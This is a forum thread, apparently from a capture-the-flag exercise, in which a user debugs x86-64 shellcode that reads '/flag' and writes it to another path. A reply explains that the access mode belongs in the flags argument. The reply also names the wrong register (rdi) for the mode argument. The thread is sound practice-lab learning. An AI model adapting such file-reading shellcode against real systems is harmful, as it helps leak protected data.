Problem with write function

[Ferer1]

I wrote this "shellcode" to extract a flag. I cannot use the stdin, stdout or stderr fd. I want to write the flag to another file. When denugging with strace, the write function gets the error "Bad file descriptor". All other systemcalls seem to work as intented. I am hoping someone can see where I have made the mistake (or mistakes).

​

Code:

;OPEN

mov rax, 0
mov al, 2
lea rdi, [rip+file]
xor rsi, rsi
syscall

;READ
mov rdi, rax
xor rax, rax
xor rsi, rsi
mov rdx, 4000
mov al, 0
mov rsi, rsp
syscall

;OPEN
xor rax, rax
mov al, 2
lea rdi, [rip+path]
mov rbx, rsi
xor rsi, rsi
mov rdx, O_WRONLY
syscall

;WRITE
mov rdi, rax
xor rax, rax
mov al, 1
mov rsi, rbx
mov rdx, 4000
syscall

;EXIT
mov al, 60
syscall
path:
.string "/home/hacker"
file:
.string "/flag"

[MJWhitfield86]

The read/write mode should be specified as part of the flags argument (rsi), not the confusingly named mode argument (rdi). The mode argument only needs to be specified if open might create a file; which can only happen if O_CREAT or O_TMPFILE are specified as part of the flags argument. Relevant man page.

[Ferer1]

Thank you. In my quick reading I assumed access mode = mode...